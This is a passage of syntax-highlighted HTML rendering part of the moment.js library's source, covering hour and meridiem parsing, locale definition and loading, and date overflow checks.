class="line"></span><br><span class="line">    <span class="title function_">meridiem</span>(<span class="string">&#x27;a&#x27;</span>, <span class="literal">true</span>);</span><br><span class="line">    <span class="title function_">meridiem</span>(<span class="string">&#x27;A&#x27;</span>, <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;hour&#x27;</span>, <span class="string">&#x27;h&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;hour&#x27;</span>, <span class="number">13</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">matchMeridiem</span>(<span class="params">isStrict, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> locale.<span class="property">_meridiemParse</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;a&#x27;</span>, matchMeridiem);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;A&#x27;</span>, matchMeridiem);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;H&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;h&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;k&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;HH&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;hh&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;kk&#x27;</span>, match1to2, match2);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;hmm&#x27;</span>, match3to4);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;hmmss&#x27;</span>, match5to6);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;Hmm&#x27;</span>, match3to4);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;Hmmss&#x27;</span>, match5to6);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;H&#x27;</span>, <span class="string">&#x27;HH&#x27;</span>], <span class="variable constant_">HOUR</span>);</span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;k&#x27;</span>, <span class="string">&#x27;kk&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> kInput = <span class="title function_">toInt</span>(input);</span><br><span class="line">        array[<span class="variable constant_">HOUR</span>] = kInput === <span class="number">24</span> ? <span class="number">0</span> : kInput;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;A&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        config.<span class="property">_isPm</span> = config.<span class="property">_locale</span>.<span class="title function_">isPM</span>(input);</span><br><span class="line">        config.<span class="property">_meridiem</span> = input;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;h&#x27;</span>, <span class="string">&#x27;hh&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        array[<span class="variable constant_">HOUR</span>] = <span class="title function_">toInt</span>(input);</span><br><span class="line">        <span class="title function_">getParsingFlags</span>(config).<span class="property">bigHour</span> = <span class="literal">true</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;hmm&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> pos = input.<span class="property">length</span> - <span class="number">2</span>;</span><br><span class="line">        array[<span class="variable constant_">HOUR</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(<span class="number">0</span>, pos));</span><br><span class="line">        array[<span class="variable constant_">MINUTE</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(pos));</span><br><span class="line">        <span class="title function_">getParsingFlags</span>(config).<span class="property">bigHour</span> = <span class="literal">true</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;hmmss&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> pos1 = input.<span class="property">length</span> - <span class="number">4</span>;</span><br><span class="line">        <span class="keyword">var</span> pos2 = input.<span class="property">length</span> - <span class="number">2</span>;</span><br><span class="line">        array[<span class="variable constant_">HOUR</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(<span class="number">0</span>, pos1));</span><br><span class="line">        array[<span class="variable constant_">MINUTE</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(pos1, <span class="number">2</span>));</span><br><span class="line">        array[<span class="variable constant_">SECOND</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(pos2));</span><br><span class="line">        <span class="title function_">getParsingFlags</span>(config).<span class="property">bigHour</span> = <span class="literal">true</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;Hmm&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> pos = input.<span class="property">length</span> - <span class="number">2</span>;</span><br><span class="line">        array[<span class="variable constant_">HOUR</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(<span class="number">0</span>, pos));</span><br><span class="line">        array[<span class="variable constant_">MINUTE</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(pos));</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;Hmmss&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> pos1 = input.<span class="property">length</span> - <span class="number">4</span>;</span><br><span class="line">        <span class="keyword">var</span> pos2 = input.<span class="property">length</span> - <span class="number">2</span>;</span><br><span class="line">        array[<span class="variable constant_">HOUR</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(<span class="number">0</span>, pos1));</span><br><span class="line">        array[<span class="variable constant_">MINUTE</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(pos1, <span class="number">2</span>));</span><br><span class="line">        array[<span class="variable constant_">SECOND</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">substr</span>(pos2));</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// LOCALES</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeIsPM</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="comment">// IE8 Quirks Mode &amp; IE7 Standards Mode do not allow accessing strings like arrays</span></span><br><span class="line">        <span class="comment">// Using charAt should be more compatible.</span></span><br><span class="line">        <span class="keyword">return</span> ((input + <span class="string">&#x27;&#x27;</span>).<span class="title function_">toLowerCase</span>().<span class="title function_">charAt</span>(<span class="number">0</span>) === <span class="string">&#x27;p&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultLocaleMeridiemParse = <span class="regexp">/[ap]\.?m?\.?/i</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeMeridiem</span>(<span class="params">hours, minutes, isLower</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (hours &gt; <span class="number">11</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> isLower ? <span class="string">&#x27;pm&#x27;</span> : <span class="string">&#x27;PM&#x27;</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> isLower ? <span class="string">&#x27;am&#x27;</span> : <span class="string">&#x27;AM&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// Setting the hour should keep the time, because the user explicitly</span></span><br><span class="line">    <span class="comment">// specified which hour they want. So trying to maintain the same hour (in</span></span><br><span class="line">    <span class="comment">// a new timezone) makes sense. Adding/subtracting hours does not follow</span></span><br><span class="line">    <span class="comment">// this rule.</span></span><br><span class="line">    <span class="keyword">var</span> getSetHour = <span class="title function_">makeGetSet</span>(<span class="string">&#x27;Hours&#x27;</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> baseConfig = &#123;</span><br><span class="line">        <span class="attr">calendar</span>: defaultCalendar,</span><br><span class="line">        <span class="attr">longDateFormat</span>: defaultLongDateFormat,</span><br><span class="line">        <span class="attr">invalidDate</span>: defaultInvalidDate,</span><br><span class="line">        <span class="attr">ordinal</span>: defaultOrdinal,</span><br><span class="line">        <span class="attr">dayOfMonthOrdinalParse</span>: defaultDayOfMonthOrdinalParse,</span><br><span class="line">        <span class="attr">relativeTime</span>: defaultRelativeTime,</span><br><span class="line"></span><br><span class="line">        <span class="attr">months</span>: defaultLocaleMonths,</span><br><span class="line">        <span class="attr">monthsShort</span>: defaultLocaleMonthsShort,</span><br><span class="line"></span><br><span class="line">        <span class="attr">week</span>: defaultLocaleWeek,</span><br><span class="line"></span><br><span class="line">        <span class="attr">weekdays</span>: defaultLocaleWeekdays,</span><br><span class="line">        <span class="attr">weekdaysMin</span>: defaultLocaleWeekdaysMin,</span><br><span class="line">        <span class="attr">weekdaysShort</span>: defaultLocaleWeekdaysShort,</span><br><span class="line"></span><br><span class="line">        <span class="attr">meridiemParse</span>: defaultLocaleMeridiemParse</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// internal storage for locale config files</span></span><br><span class="line">    <span class="keyword">var</span> locales = &#123;&#125;;</span><br><span class="line">    <span class="keyword">var</span> localeFamilies = &#123;&#125;;</span><br><span class="line">    <span class="keyword">var</span> globalLocale;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">normalizeLocale</span>(<span class="params">key</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> key ? key.<span class="title function_">toLowerCase</span>().<span class="title function_">replace</span>(<span class="string">&#x27;_&#x27;</span>, <span class="string">&#x27;-&#x27;</span>) : key;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// pick the locale from the array</span></span><br><span class="line">    <span class="comment">// try [&#x27;en-au&#x27;, &#x27;en-gb&#x27;] as &#x27;en-au&#x27;, &#x27;en-gb&#x27;, &#x27;en&#x27;, as in move through the list trying each</span></span><br><span class="line">    <span class="comment">// substring from most specific to least, but move to the next array item if it&#x27;s a more specific variant than the current root</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">chooseLocale</span>(<span class="params">names</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i = <span class="number">0</span>,</span><br><span class="line">            j, next, locale, split;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> (i &lt; names.<span class="property">length</span>) &#123;</span><br><span class="line">            split = <span class="title function_">normalizeLocale</span>(names[i]).<span class="title function_">split</span>(<span class="string">&#x27;-&#x27;</span>);</span><br><span class="line">            j = split.<span class="property">length</span>;</span><br><span class="line">            next = <span class="title function_">normalizeLocale</span>(names[i + <span class="number">1</span>]);</span><br><span class="line">            next = next ? next.<span class="title function_">split</span>(<span class="string">&#x27;-&#x27;</span>) : <span class="literal">null</span>;</span><br><span class="line">            <span class="keyword">while</span> (j &gt; <span class="number">0</span>) &#123;</span><br><span class="line">                locale = <span class="title function_">loadLocale</span>(split.<span class="title function_">slice</span>(<span class="number">0</span>, j).<span class="title function_">join</span>(<span class="string">&#x27;-&#x27;</span>));</span><br><span class="line">                <span class="keyword">if</span> (locale) &#123;</span><br><span class="line">                    <span class="keyword">return</span> locale;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">if</span> (next &amp;&amp; next.<span class="property">length</span> &gt;= j &amp;&amp; <span class="title function_">compareArrays</span>(split, next, <span class="literal">true</span>) &gt;= j - <span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="comment">//the next array item is better than a shallower substring of this one</span></span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                j--;</span><br><span class="line">            &#125;</span><br><span class="line">            i++;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> globalLocale;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">loadLocale</span>(<span class="params">name</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> oldLocale = <span class="literal">null</span>;</span><br><span class="line">        <span class="comment">// <span class="doctag">TODO:</span> Find a better way to register and load all the locales in Node</span></span><br><span class="line">        <span class="keyword">if</span> (!locales[name] &amp;&amp; (<span class="keyword">typeof</span> <span class="variable language_">module</span> !== <span class="string">&#x27;undefined&#x27;</span>) &amp;&amp;</span><br><span class="line">            <span class="variable language_">module</span> &amp;&amp; <span class="variable language_">module</span>.<span class="property">exports</span>) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                oldLocale = globalLocale.<span class="property">_abbr</span>;</span><br><span class="line">                <span class="keyword">var</span> aliasedRequire = <span class="built_in">require</span>;</span><br><span class="line">                <span class="title function_">aliasedRequire</span>(<span class="string">&#x27;./locale/&#x27;</span> + name);</span><br><span class="line">                <span class="title function_">getSetGlobalLocale</span>(oldLocale);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (e) &#123;&#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> locales[name];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// This function will load locale and then set the global locale.  If</span></span><br><span class="line">    <span class="comment">// no arguments are passed in, it will simply return the current global</span></span><br><span class="line">    <span class="comment">// locale key.</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetGlobalLocale</span>(<span class="params">key, values</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> data;</span><br><span class="line">        <span class="keyword">if</span> (key) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">isUndefined</span>(values)) &#123;</span><br><span class="line">                data = <span class="title function_">getLocale</span>(key);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                data = <span class="title function_">defineLocale</span>(key, values);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (data) &#123;</span><br><span class="line">                <span class="comment">// moment.duration._locale = moment._locale = data;</span></span><br><span class="line">                globalLocale = data;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">if</span> ((<span class="keyword">typeof</span> <span class="variable language_">console</span> !== <span class="string">&#x27;undefined&#x27;</span>) &amp;&amp; <span class="variable language_">console</span>.<span class="property">warn</span>) &#123;</span><br><span class="line">                    <span class="comment">//warn user if arguments are passed but the locale could not be set</span></span><br><span class="line">                    <span class="variable language_">console</span>.<span class="title function_">warn</span>(<span class="string">&#x27;Locale &#x27;</span> + key + <span class="string">&#x27; not found. Did you forget to load it?&#x27;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> globalLocale.<span class="property">_abbr</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">defineLocale</span>(<span class="params">name, config</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (config !== <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> locale, parentConfig = baseConfig;</span><br><span class="line">            config.<span class="property">abbr</span> = name;</span><br><span class="line">            <span class="keyword">if</span> (locales[name] != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="title function_">deprecateSimple</span>(<span class="string">&#x27;defineLocaleOverride&#x27;</span>,</span><br><span class="line">                    <span class="string">&#x27;use moment.updateLocale(localeName, config) to change &#x27;</span> +</span><br><span class="line">                    <span class="string">&#x27;an existing locale. moment.defineLocale(localeName, &#x27;</span> +</span><br><span class="line">                    <span class="string">&#x27;config) should only be used for creating a new locale &#x27;</span> +</span><br><span class="line">                    <span class="string">&#x27;See http://momentjs.com/guides/#/warnings/define-locale/ for more info.&#x27;</span>);</span><br><span class="line">                parentConfig = locales[name].<span class="property">_config</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (config.<span class="property">parentLocale</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">if</span> (locales[config.<span class="property">parentLocale</span>] != <span class="literal">null</span>) &#123;</span><br><span class="line">                    parentConfig = locales[config.<span class="property">parentLocale</span>].<span class="property">_config</span>;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    locale = <span class="title function_">loadLocale</span>(config.<span class="property">parentLocale</span>);</span><br><span class="line">                    <span class="keyword">if</span> (locale != <span class="literal">null</span>) &#123;</span><br><span class="line">                        parentConfig = locale.<span class="property">_config</span>;</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        <span class="keyword">if</span> (!localeFamilies[config.<span class="property">parentLocale</span>]) &#123;</span><br><span class="line">                            localeFamilies[config.<span class="property">parentLocale</span>] = [];</span><br><span class="line">                        &#125;</span><br><span class="line">                        localeFamilies[config.<span class="property">parentLocale</span>].<span class="title function_">push</span>(&#123;</span><br><span class="line">                            <span class="attr">name</span>: name,</span><br><span class="line">                            <span class="attr">config</span>: config</span><br><span class="line">                        &#125;);</span><br><span class="line">                        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            locales[name] = <span class="keyword">new</span> <span class="title class_">Locale</span>(<span class="title function_">mergeConfigs</span>(parentConfig, config));</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (localeFamilies[name]) &#123;</span><br><span class="line">                localeFamilies[name].<span class="title function_">forEach</span>(<span class="keyword">function</span> (<span class="params">x</span>) &#123;</span><br><span class="line">                    <span class="title function_">defineLocale</span>(x.<span class="property">name</span>, x.<span class="property">config</span>);</span><br><span class="line">                &#125;);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// backwards compat for now: also set the locale</span></span><br><span class="line">            <span class="comment">// make sure we set the locale AFTER all child locales have been</span></span><br><span class="line">            <span class="comment">// created, so we won&#x27;t end up with the child locale set.</span></span><br><span class="line">            <span class="title function_">getSetGlobalLocale</span>(name);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> locales[name];</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// useful for testing</span></span><br><span class="line">            <span class="keyword">delete</span> locales[name];</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">updateLocale</span>(<span class="params">name, config</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (config != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> locale, tmpLocale, parentConfig = baseConfig;</span><br><span class="line">            <span class="comment">// MERGE</span></span><br><span class="line">            tmpLocale = <span class="title function_">loadLocale</span>(name);</span><br><span class="line">            <span class="keyword">if</span> (tmpLocale != <span class="literal">null</span>) &#123;</span><br><span class="line">                parentConfig = tmpLocale.<span class="property">_config</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            config = <span class="title function_">mergeConfigs</span>(parentConfig, config);</span><br><span class="line">            locale = <span class="keyword">new</span> <span class="title class_">Locale</span>(config);</span><br><span class="line">            locale.<span class="property">parentLocale</span> = locales[name];</span><br><span class="line">            locales[name] = locale;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// backwards compat for now: also set the locale</span></span><br><span class="line">            <span class="title function_">getSetGlobalLocale</span>(name);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// pass null for config to unupdate, useful for tests</span></span><br><span class="line">            <span class="keyword">if</span> (locales[name] != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">if</span> (locales[name].<span class="property">parentLocale</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">                    locales[name] = locales[name].<span class="property">parentLocale</span>;</span><br><span class="line">                &#125; <span class="keyword">else</span> <span class="keyword">if</span> (locales[name] != <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="keyword">delete</span> locales[name];</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> locales[name];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// returns locale data</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getLocale</span>(<span class="params">key</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> locale;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (key &amp;&amp; key.<span class="property">_locale</span> &amp;&amp; key.<span class="property">_locale</span>.<span class="property">_abbr</span>) &#123;</span><br><span class="line">            key = key.<span class="property">_locale</span>.<span class="property">_abbr</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!key) &#123;</span><br><span class="line">            <span class="keyword">return</span> globalLocale;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isArray</span>(key)) &#123;</span><br><span class="line">            <span class="comment">//short-circuit everything else</span></span><br><span class="line">            locale = <span class="title function_">loadLocale</span>(key);</span><br><span class="line">            <span class="keyword">if</span> (locale) &#123;</span><br><span class="line">                <span class="keyword">return</span> locale;</span><br><span class="line">            &#125;</span><br><span class="line">            key = [key];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">chooseLocale</span>(key);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">listLocales</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">keys</span>(locales);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">checkOverflow</span>(<span class="params">m</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> overflow;</span><br><span class="line">        <span class="keyword">var</span> a = m.<span class="property">_a</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (a &amp;&amp; <span class="title function_">getParsingFlags</span>(m).<span class="property">overflow</span> === -<span class="number">2</span>) &#123;</span><br><span class="line">            overflow =</span><br><span class="line">                a[<span class="variable constant_">MONTH</span>] &lt; <span class="number">0</span> || a[<span class="variable constant_">MONTH</span>] &gt; <span class="number">11</span> ? <span class="variable constant_">MONTH</span> :</span><br><span class="line">                    a[<span class="variable constant_">DATE</span>] &lt; <span class="number">1</span> || a[<span class="variable constant_">DATE</span>] &gt; <span class="title function_">daysInMonth</span>(a[<span class="variable constant_">YEAR</span>], a[<span class="variable constant_">MONTH</span>]) ? <span class="variable constant_">DATE</span> :</span><br><span class="line">                        a[<span class="variable constant_">HOUR</span>] &lt; <span class="number">0</span> || a[<span class="variable constant_">HOUR</span>] &gt; <span class="number">24</span> || (a[<span class="variable constant_">HOUR</span>] === <span class="number">24</span> &amp;&amp; (a[<span class="variable constant_">MINUTE</span>] !== <span class="number">0</span> || a[<span class="variable constant_">SECOND</span>] !== <span class="number">0</span> || a[</span><br><span class="line">                            <span class="variable constant_">MILLISECOND</span>] !== <span class="number">0</span>)) ? <span class="variable constant_">HOUR</span> :</span><br><span class="line">                            a[<span class="variable constant_">MINUTE</span>] &lt; <span class="number">0</span> || a[<span class="variable constant_">MINUTE</span>] &gt; <span class="number">59</span> ? <span class="variable constant_">MINUTE</span> :</span><br><span class="line">                                a[<span class="variable constant_">SECOND</span>] &lt; <span class="number">0</span> || a[<span class="variable constant_">SECOND</span>] &gt; <span class="number">59</span> ? <span class="variable constant_">SECOND</span> :</span><br><span class="line">                                    a[<span class="variable constant_">MILLISECOND</span>] &lt; <span class="number">0</span> || a[<span class="variable constant_">MILLISECOND</span>] &gt; <span class="number">999</span> ? <span class="variable constant_">MILLISECOND</span> :</span><br><span class="line">                                        -<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">getParsingFlags</span>(m).<span class="property">_overflowDayOfYear</span> &amp;&amp; (overflow &lt; <span class="variable constant_">YEAR</span> || overflow &gt; <span class="variable constant_">DATE</span>)) &#123;</span><br><span class="line">                overflow = <span class="variable constant_">DATE</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">getParsingFlags</span>(m).<span class="property">_overflowWeeks</span> &amp;&amp; overflow === -<span class="number">1</span>) &#123;</span><br><span class="line">                overflow = <span class="variable constant_">WEEK</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">getParsingFlags</span>(m).<span class="property">_overflowWeekday</span> &amp;&amp; overflow === -<span class="number">1</span>) &#123;</span><br><span class="line">                overflow = <span class="variable constant_">WEEKDAY</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="title function_">getParsingFlags</span>(m).<span class="property">overflow</span> = overflow;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> m;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Pick the first defined of two or three arguments.</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">defaults</span>(<span class="params">a, b, c</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (a != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> a;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (b != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> b;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> c;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">currentDateArray</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="comment">// hooks is actually the exported moment object</span></span><br><span class="line">        <span class="keyword">var</span> nowValue = <span class="keyword">new</span> <span class="title class_">Date</span>(hooks.<span class="title function_">now</span>());</span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_useUTC</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> [nowValue.<span class="title function_">getUTCFullYear</span>(), nowValue.<span class="title function_">getUTCMonth</span>(), nowValue.<span class="title function_">getUTCDate</span>()];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> [nowValue.<span class="title function_">getFullYear</span>(), nowValue.<span class="title function_">getMonth</span>(), nowValue.<span class="title function_">getDate</span>()];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// convert an array to a date.</span></span><br><span class="line">    <span class="comment">// the array should mirror the parameters below</span></span><br><span class="line">    <span class="comment">// note: all values past the year are optional and will default to the lowest possible value.</span></span><br><span class="line">    <span class="comment">// [year, month, day , hour, minute, second, millisecond]</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">configFromArray</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i, date, input = [],</span><br><span class="line">            currentDate, expectedWeekday, yearToUse;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_d</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        currentDate = <span class="title function_">currentDateArray</span>(config);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//compute day of the year from weeks and weekdays</span></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_w</span> &amp;&amp; config.<span class="property">_a</span>[<span class="variable constant_">DATE</span>] == <span class="literal">null</span> &amp;&amp; config.<span class="property">_a</span>[<span class="variable constant_">MONTH</span>] == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="title function_">dayOfYearFromWeekInfo</span>(config);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//if the day of the year is set, figure out what it is</span></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_dayOfYear</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">            yearToUse = <span class="title function_">defaults</span>(config.<span class="property">_a</span>[<span class="variable constant_">YEAR</span>], currentDate[<span class="variable constant_">YEAR</span>]);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (config.<span class="property">_dayOfYear</span> &gt; <span class="title function_">daysInYear</span>(yearToUse) || config.<span class="property">_dayOfYear</span> === <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="title 